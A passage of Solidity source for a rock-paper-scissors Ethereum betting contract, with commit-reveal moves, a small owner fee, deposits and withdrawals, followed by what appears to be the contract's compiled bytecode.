/// If no address is provided, the game is open to anyone.
/// Your bet is equal to the value sent together
/// with this transaction. If the game is a draw,
/// your bet will be available for withdrawal.
/// If you win, both bets minus the fee will be send to you.
/// The first argument should be the number
/// of your move (rock: 1, paper: 2, scissors: 3)
/// encrypted with keccak256(uint move, string secret) and
/// save the secret so you can reveal your move
/// after your game is joined.
/// It's very easy to mess up the padding and stuff,
/// so you should just use the website.
//}
function createGame(bytes32 move, uint val, address player2)
payable notPaused notExpired returns (uint gameId) {
deposit();
require(balances[msg.sender] >= val);
require(!secretTaken[move]);
secretTaken[move] = true;
balances[msg.sender] -= val;
gameId = gameIdCounter;
games.push(Game(msg.sender, player2, val, move, 0, 0, 0, State.Created, Result(0)));
GameCreated(msg.sender, player2, gameId, val, move);
gameIdCounter++;
}
function abortGame(uint gameId) notPaused returns (bool success) {
Game storage thisGame = games[gameId];
require(thisGame.player1 == msg.sender);
require(thisGame.state == State.Created);
thisGame.state = State.Ended;
GameEnded(thisGame.player1, thisGame.player2, gameId, thisGame.value, Result(0));
msg.sender.transfer(thisGame.value);
return true;
}
function joinGame(uint gameId, uint8 move) payable notPaused returns (bool success) {
Game storage thisGame = games[gameId];
require(thisGame.state == State.Created);
require(move > 0 && move <= 3);
if (thisGame.player2 == 0x0) {
thisGame.player2 = msg.sender;
}
else {
require(thisGame.player2 == msg.sender);
}
require(thisGame.value == msg.value);
thisGame.gameStart = now;
thisGame.state = State.Joined;
thisGame.move2 = move;
GameJoined(thisGame.player1, thisGame.player2, gameId, thisGame.value, thisGame.move2, thisGame.gameStart);
return true;
}
function revealMove(uint gameId, uint8 move, string secret) notPaused returns (Result result) {
Game storage thisGame = games[gameId];
require(thisGame.state == State.Joined);
require(thisGame.player1 == msg.sender);
require(thisGame.gameStart + revealTime >= now); // It's not too late to reveal
require(thisGame.hiddenMove1 == keccak256(uint(move), secret));
thisGame.move1 = move;
if (move > 0 && move <= 3) {
result = Result(((3 + move - thisGame.move2) % 3) + 1); // It works trust me (it's 'cause of math)
}
else { // Player 1 submitted invalid move
result = Result.Loss;
}
thisGame.state = State.Ended;
address winner;
if (result == Result.Draw) {
balances[thisGame.player1] += thisGame.value;
balances[thisGame.player2] += thisGame.value;
}
else {
if (result == Result.Win) {
winner = thisGame.player1;
totalLost[thisGame.player2] += thisGame.value;
}
else {
winner = thisGame.player2;
totalLost[thisGame.player1] += thisGame.value;
}
uint fee = (thisGame.value) / feeDivisor; // 0.5% fee taken once for each owner
balances[owner1] += fee;
balances[owner2] += fee;
totalWon[winner] += thisGame.value - fee*2;
// No re-entrancy attack is possible because
// the state has already been set to State.Ended
winner.transfer((thisGame.value*2) - fee*2);
}
thisGame.result = result;
GameEnded(thisGame.player1, thisGame.player2, gameId, thisGame.value, result);
}
/// Use this when you know you've lost as player 1 and
/// you don't want to bother with revealing your move.
function forfeitGame(uint gameId) notPaused returns (bool success) {
Game storage thisGame = games[gameId];
require(thisGame.state == State.Joined);
require(thisGame.player1 == msg.sender);
uint fee = (thisGame.value) / feeDivisor; // 0.5% fee taken once for each owner
balances[owner1] += fee;
balances[owner2] += fee;
totalLost[thisGame.player1] += thisGame.value;
totalWon[thisGame.player2] += thisGame.value - fee*2;
thisGame.state = State.Ended;
thisGame.result = Result.Forfeit; // Loss for player 1
GameEnded(thisGame.player1, thisGame.player2, gameId, thisGame.value, thisGame.result);
thisGame.player2.transfer((thisGame.value*2) - fee*2);
return true;
}
function claimGame(uint gameId) notPaused returns (bool success) {
Game storage thisGame = games[gameId];
require(thisGame.state == State.Joined);
require(thisGame.player2 == msg.sender);
require(thisGame.gameStart + revealTime < now); // Player 1 has failed to reveal in time
uint fee = (thisGame.value) / feeDivisor; // 0.5% fee taken once for each owner
balances[owner1] += fee;
balances[owner2] += fee;
totalLost[thisGame.player1] += thisGame.value;
totalWon[thisGame.player2] += thisGame.value - fee*2;
thisGame.state = State.Ended;
thisGame.result = Result.Forfeit; // Loss for player 1
GameEnded(thisGame.player1, thisGame.player2, gameId, thisGame.value, thisGame.result);
thisGame.player2.transfer((thisGame.value*2) - fee*2);
return true;
}
// FUNDING FUNCTIONS
//
// FOR FUNDING
function donate() payable returns (bool success) {
require(msg.value != 0);
balances[owner1] += msg.value/2;
balances[owner2] += msg.value - msg.value/2;
Donate(msg.sender, msg.value);
return true;
}
function deposit() payable returns (bool success) {
require(msg.value != 0);
balances[msg.sender] += msg.value;
Deposit(msg.sender, msg.value);
return true;
}
function withdraw() returns (bool success) {
uint amount = balances[msg.sender];
if (amount == 0) return false;
balances[msg.sender] = 0;
msg.sender.transfer(amount);
Withdraw(msg.sender, amount);
return true;
}
// ADMIN FUNCTIONS
//
// FOR ADMINISTRATING
// Pause all gameplay
function pause(bool pause) onlyOwner {
paused = pause;
}
// Prevent new games from being created
// To be used when switching to a new contract
function expire(bool expire) onlyOwner {
expired = expire;
}
function setOwner1(address newOwner) {
require(msg.sender == owner1);
owner1 = newOwner;
}
function setOwner2(address newOwner) {
require(msg.sender == owner2);
owner2 = newOwner;
}
}
|
0x6060604052361561013c576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806302329a291461015b578063117a5b901461017d5780631b5806201461027157806327e235e3146102a757806339236bef146102f15780633ccfd60b1461032957806343b978b31461035357806344f0c3ce14610410578063527097251461045a5780635825884f146104ac5780636e41b1ad146104e2578063736889141461051a5780637837848c1461056c5780638047cb931461058e57806398be22f7146105e65780639e231e2d1461061e578063a9c7699914610656578063b31cd1be146106a0578063bd675c0e146106dc578063c47f00271461076d578063ca6649c5146107df578063d0e30db01461081b578063ed88c68e1461083d578063f0e3fff81461085f575b341561014457fe5b6101595b600015156101565760006000fd5b5b565b005b341561016357fe5b61017b600480803515159060200190919050506108a9565b005b341561018557fe5b61019b600480803590602001909190505061097d565b604051808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200188815260200187600019166000191681526020018660ff1660ff1681526020018560ff1660ff16815260200184815260200183600381111561024157fe5b60ff16815260200182600481111561025557fe5b60ff168152602001995050505050505050505060405180910390f35b341561027957fe5b6102a5600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610a4f565b005b34156102af57fe5b6102db600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610af1565b6040518082815260200191505060405180910390f35b34156102f957fe5b61030f6004808035906020019091905050610b09565b604051808215151515815260200191505060405180910390f35b341561033157fe5b610339610f82565b604051808215151515815260200191505060405180910390f35b341561035b57fe5b610387600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506110b6565b60405180806020018281038252838181518152602001915080519060200190808383600083146103d6575b8051825260208311156103d6576020820191506020810190506020830392506103b2565b505050905090810190601f1680156104025780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561041857fe5b610444600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611166565b6040518082815260200191505060405180910390f35b341561046257fe5b61046a61117e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156104b457fe5b6104e0600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506111a4565b005b34156104ea57fe5b6105006004808035906020019091905050611246565b604051808215151515815260200191505060405180910390f35b341561052257fe5b61052a611266565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561057457fe5b61058c6004808035151590602001909190505061128c565b005b6105d060048080356000191690602001909190803590602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611360565b6040518082815260200191505060405180910390f35b34156105ee57fe5b6106046004808035906020019091905050611753565b604051808215151515815260200191505060405180910390f35b341561062657fe5b61063c6004808035906020019091905050611bb4565b604051808215151515815260200191505060405180910390f35b341561065e57fe5b61068a600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611dd8565b6040518082815260200191505060405180910390f35b34156106a857fe5b6106c2600480803560001916906020019091905050611f79565b604051808215151515815260200191505060405180910390f35b34156106e457fe5b610749600480803590602001909190803560ff1690602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611f99565b6040518082600481111561075957fe5b60ff16815260200191505060405180910390f35b341561077557fe5b6107c5600480803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506126b3565b604051808215151515815260200191505060405180910390f35b610801600480803590602001909190803560ff16906020019091905050612a4d565b604051808215151515815260200191505060405180910390f35b610823612d1f565b604051808215151515815260200191505060405180910390f35b610845612dd5565b604051808215151515815260200191505060405180910390f35b341561086757fe5b610893600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612f36565b6040518082815260200191505060405180910390f35b600060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806109525750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561095e5760006000fd5b80600160146101000a81548160ff0219169083151502179055505b5b50565b60068181548110151561098c57fe5b906000526020600020906007020160005b915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060020154908060030154908060040160009054906101000a900460ff16908060040160019054906101000a900460ff16908060050154908060060160009054906101000a900460ff16908060060160019054906101000a900460ff16905089565b600060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610aac5760006000fd5b80600060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b60036020528060005260406000206000915090505481565b600060006000600160149054906101000a900460ff16151515610b2c5760006000fd5b600684815481101515610b3b57fe5b906000526020600020906007020160005b50915060026003811115610b5c57fe5b8260060160009054906101000a900460ff166003811115610b7957fe5b141515610b865760006000fd5b3373ffffffffffffffffffffffffffffffffffffffff168260010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515610be55760006000fd5b4262093a80836005015401101515610bfd5760006000fd5b606460ff168260020154811515610c1057fe5b0490508060036000600060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508060036000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508160020154600560008460000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555060028102826002015403600460008460010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555060038260060160006101000a81548160ff02191690836003811115610e0157fe5b021790555060048260060160016101000a81548160ff02191690836004811115610e2757fe5b0217905550838260010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168360000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f3f14710d11bcc64177ff65ea86aaf313db9809e6e41fe150ca95ca8634da2ddf85600201548660060160019054906101000a900460ff1660405180838152602001826004811115610ef157fe5b60ff1681526020019250505060405180910390a48160010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc600283026002856002015402039081150290604051809050600060405180830381858888f193505050501515610f7557fe5b600192505b5b5050919050565b60006000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000811415610fda57600091506110b2565b6000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051809050600060405180830381858888f19350505050151561105f57fe5b3373ffffffffffffffffffffffffffffffffffffffff167f884edad9ce6fa2440d8a54cc123490eb96d2768479d49ff9c7366125a9424364826040518082815260200191505060405180910390a2600191505b5090565b60076020528060005260406000206000915090508054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561115e5780601f106111335761010080835404028352916020019161115e565b820191906000526020600020905b81548152906001019060200180831161114157829003601f168201915b505050505081565b60056020528060005260406000206000915090505481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156112015760006000fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b60086020528060005260406000206000915054906101000a900460ff1681565b600060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806113355750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15156113415760006000fd5b80600160156101000a81548160ff0219169083151502179055505b5b50565b6000600160149054906101000a900460ff1615151561137f5760006000fd5b600160159054906101000a900460ff1615151561139c5760006000fd5b6113a4612d1f565b5082600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156113f45760006000fd5b60096000856000191660001916815260200190815260200160002060009054906101000a900460ff1615151561142a5760006000fd5b600160096000866000191660001916815260200190815260200160002060006101000a81548160ff02191690831515021790555082600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055506002549050600680548060010182816114c49190613716565b916000526020600020906007020160005b610120604051908101604052803373ffffffffffffffffffffffffffffffffffffffff1681526020018673ffffffffffffffffffffffffffffffffffffffff16815260200187815260200188600019168152602001600060ff168152602001600060ff168152602001600081526020016001600381111561155257fe5b81526020016000600481111561156457fe5b600481111561156f57fe5b815250909190915060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550604082015181600201556060820151816003019060001916905560808201518160040160006101000a81548160ff021916908360ff16021790555060a08201518160040160016101000a81548160ff021916908360ff16021790555060c0820151816005015560e08201518160060160006101000a81548160ff0219169083600381111561168f57fe5b02179055506101008201518160060160016101000a81548160ff021916908360048111156116b957fe5b0217905550505050808273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f5535e7a81d614219e8d90f34c6a8c0167b0e19f05fa40fc22ebfd3454d48c37786886040518083815260200182600019166000191681526020019250505060405180910390a46002600081548092919060010191905055505b5b5b9392505050565b600060006000600160149054906101000a900460ff161515156117765760006000fd5b60068481548110151561178557fe5b906000526020600020906007020160005b509150600260038111156117a657fe5b8260060160009054906101000a900460ff1660038111156117c357fe5b1415156117d05760006000fd5b3373ffffffffffffffffffffffffffffffffffffffff168260000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561182f5760006000fd5b606460ff16826002015481151561184257fe5b0490508060036000600060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508060036000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508160020154600560008460000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555060028102826002015403600460008460010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555060038260060160006101000a81548160ff02191690836003811115611a3357fe5b021790555060048260060160016101000a81548160ff02191690836004811115611a5957fe5b0217905550838260010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168360000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f3f14710d11bcc64177ff65ea86aaf313db9809e6e41fe150ca95ca8634da2ddf85600201548660060160019054906101000a900460ff1660405180838152602001826004811115611b2357fe5b60ff1681526020019250505060405180910390a48160010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc600283026002856002015402039081150290604051809050600060405180830381858888f193505050501515611ba757fe5b600192505b5b5050919050565b60006000600160149054906101000a900460ff16151515611bd55760006000fd5b600683815481101515611be457fe5b906000526020600020906007020160005b5090503373ffffffffffffffffffffffffffffffffffffffff168160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515611c575760006000fd5b60016003811115611c6457fe5b8160060160009054906101000a900460ff166003811115611c8157fe5b141515611c8e5760006000fd5b60038160060160006101000a81548160ff02191690836003811115611caf57fe5b0217905550828160010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168260000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f3f14710d11bcc64177ff65ea86aaf313db9809e6e41fe150ca95ca8634da2ddf846002015460006004811115611d5e57fe5b60405180838152602001826004811115611d7457fe5b60ff1681526020019250505060405180910390a43373ffffffffffffffffffffffffffffffffffffffff166108fc82600201549081150290604051809050600060405180830381858888f193505050501515611dcc57fe5b600191505b5b50919050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115611eeb57600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054036000039050611f74565b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054039050611f74565b5b919050565b60096020528060005260406000206000915054906101000a900460ff1681565b6000600060006000600160149054906101000a900460ff16151515611fbe5760006000fd5b600687815481101515611fcd57fe5b906000526020600020906007020160005b50925060026003811115611fee57fe5b8360060160009054906101000a900460ff16600381111561200b57fe5b1415156120185760006000fd5b3373ffffffffffffffffffffffffffffffffffffffff168360000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156120775760006000fd5b4262093a80846005015401101515156120905760006000fd5b8560ff16856040518083815260200182805190602001908083835b602083106120ce57805182526020820191506020810190506020830392506120ab565b6001836020036101000a038019825116818451168082178552505050505050905001925050506040518091039020600019168360030154600019161415156121165760006000fd5b858360040160006101000a81548160ff021916908360ff16021790555060008660ff1611801561214a575060038660ff1611155b1561218d57600160038460040160019054906101000a900460ff16886003010360ff1681151561217657fe5b060160ff16600481111561218657fe5b9350612192565b600393505b60038360060160006101000a81548160ff021916908360038111156121b357fe5b0217905550600160048111156121c557fe5b8460048111156121d157fe5b14156122c6578260020154600360008560000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508260020154600360008560010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506125ba565b600260048111156122d357fe5b8460048111156122df57fe5b1415612386578260000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1691508260020154600560008560010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550612423565b8260010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1691508260020154600560008560000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055505b606460ff16836002015481151561243657fe5b0490508060036000600060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508060036000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555060028102836002015403600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff166108fc600283026002866002015402039081150290604051809050600060405180830381858888f1935050505015156125b957fe5b5b838360060160016101000a81548160ff021916908360048111156125da57fe5b0217905550868360010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168460000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f3f14710d11bcc64177ff65ea86aaf313db9809e6e41fe150ca95ca8634da2ddf8660020154886040518083815260200182600481111561269357fe5b60ff1681526020019250505060405180910390a45b5b5050509392505050565b600060006000600060006126c686612f4e565b15156126d25760006000fd5b6126db8661342a565b9350600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002091506000828054600181600116156101000203166002900490501490506008600085815260200190815260200160002060009054906101000a900460ff1615612825578015151561276d5760006000fd5b61280f828054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156128055780601f106127da57610100808354040283529160200191612805565b820191906000526020600020905b8154815290600101906020018083116127e857829003601f168201915b505050505061342a565b925082841415156128205760006000fd5b61292a565b8015156128fd576128ce828054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156128c45780601f10612899576101008083540402835291602001916128c4565b820191906000526020600020905b8154815290600101906020018083116128a757829003601f168201915b505050505061342a565b925060006008600085815260200190815260200160002060006101000a81548160ff0219169083151502179055505b60016008600086815260200190815260200160002060006101000a81548160ff0219169083151502179055505b85600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020908051906020019061297d929190613748565b503373ffffffffffffffffffffffffffffffffffffffff167fc6d417def143b62f5379652b209985e71c375db7c091b7f127f7e668d718b22c876040518080602001828103825283818151815260200191508051906020019080838360008314612a06575b805182526020831115612a06576020820191506020810190506020830392506129e2565b505050905090810190601f168015612a325780820380516001836020036101000a031916815260200191505b509250505060405180910390a2600194505b50505050919050565b60006000600160149054906101000a900460ff16151515612a6e5760006000fd5b600684815481101515612a7d57fe5b906000526020600020906007020160005b50905060016003811115612a9e57fe5b8160060160009054906101000a900460ff166003811115612abb57fe5b141515612ac85760006000fd5b60008360ff16118015612adf575060038360ff1611155b1515612aeb5760006000fd5b60008160010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415612b7657338160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550612bd6565b3373ffffffffffffffffffffffffffffffffffffffff168160010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515612bd55760006000fd5b5b348160020154141515612be95760006000fd5b42816005018190555060028160060160006101000a81548160ff02191690836003811115612c1357fe5b0217905550828160040160016101000a81548160ff021916908360ff160217905550838160010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168260000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f787fd167590b16236099dc28d7d1f50d807d22eeffa20dd2525015771da5aceb84600201548560040160019054906101000a900460ff168660050154604051808481526020018360ff1660ff168152602001828152602001935050505060405180910390a4600191505b5b5092915050565b600060003414151515612d325760006000fd5b34600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055503373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c346040518082815260200191505060405180910390a2600190505b90565b600060003414151515612de85760006000fd5b600234811515612df457fe5b0460036000600060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600234811515612e6f57fe5b04340360036000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055503373ffffffffffffffffffffffffffffffffffffffff167f0553260a2e46b0577270d8992db02d30856ca880144c72d6e9503760946aef13346040518082815260200191505060405180910390a2600190505b90565b60046020528060005260406000206000915090505481565b6000612f586137c8565b6000600060006000869450845193506001841080612f765750601984115b15612f845760009550613420565b60009250600091505b8382101561341c578482815181101515612fa357fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f010000000000000000000000000000000000000000000000000000000000000002905060307f010000000000000000000000000000000000000000000000000000000000000002817effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161015801561308a575060397f010000000000000000000000000000000000000000000000000000000000000002817effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191611155b8061312b575060417f010000000000000000000000000000000000000000000000000000000000000002817effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161015801561312a5750605a7f010000000000000000000000000000000000000000000000000000000000000002817effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191611155b5b806131cc575060617f010000000000000000000000000000000000000000000000000000000000000002817effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916101580156131cb5750607a7f010000000000000000000000000000000000000000000000000000000000000002817effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191611155b5b156131da576001925061340f565b60207f010000000000000000000000000000000000000000000000000000000000000002817effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480613271575060217f010000000000000000000000000000000000000000000000000000000000000002817effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b806132c0575060287f010000000000000000000000000000000000000000000000000000000000000002817effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b8061330f575060297f010000000000000000000000000000000000000000000000000000000000000002817effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b8061335e5750602d7f010000000000000000000000000000000000000000000000000000000000000002817effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b806133ad5750602e7f010000000000000000000000000000000000000000000000000000000000000002817effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b806133fc5750605f7f010000000000000000000000000000000000000000000000000000000000000002817effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b156134065761340f565b60009550613420565b8180600101925050612f8d565b8295505b5050505050919050565b60006134346137c8565b60006000600060006000600060008997506000965087519550601986111561345b57601995505b600094505b858510156137055760809350878581518110151561347a57fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f0100000000000000000000000000000000000000000000000000000000000000029250827f01000000000000000000000000000000000000000000000000000000000000009004915060307f010000000000000000000000000000000000000000000000000000000000000002837effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191610158015613587575060397f010000000000000000000000000000000000000000000000000000000000000002837effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191611155b1561359857818488020196506136f7565b60417f010000000000000000000000000000000000000000000000000000000000000002837effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916101580156136325750605a7f010000000000000000000000000000000000000000000000000000000000000002837effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191611155b1561364357818488020196506136f6565b60617f010000000000000000000000000000000000000000000000000000000000000002837effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916101580156136dd5750607a7f010000000000000000000000000000000000000000000000000000000000000002837effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191611155b156136f457602082039050808488020196506136f5565b5b5b5b5b8480600101955050613460565b8698505b5050505050505050919050565b8154818355818115116137435760070281600702836000526020600020918201910161374291906137dc565b5b505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061378957805160ff19168380011785556137b7565b828001600101855582156137b7579182015b828111156137b657825182559160200191906001019061379b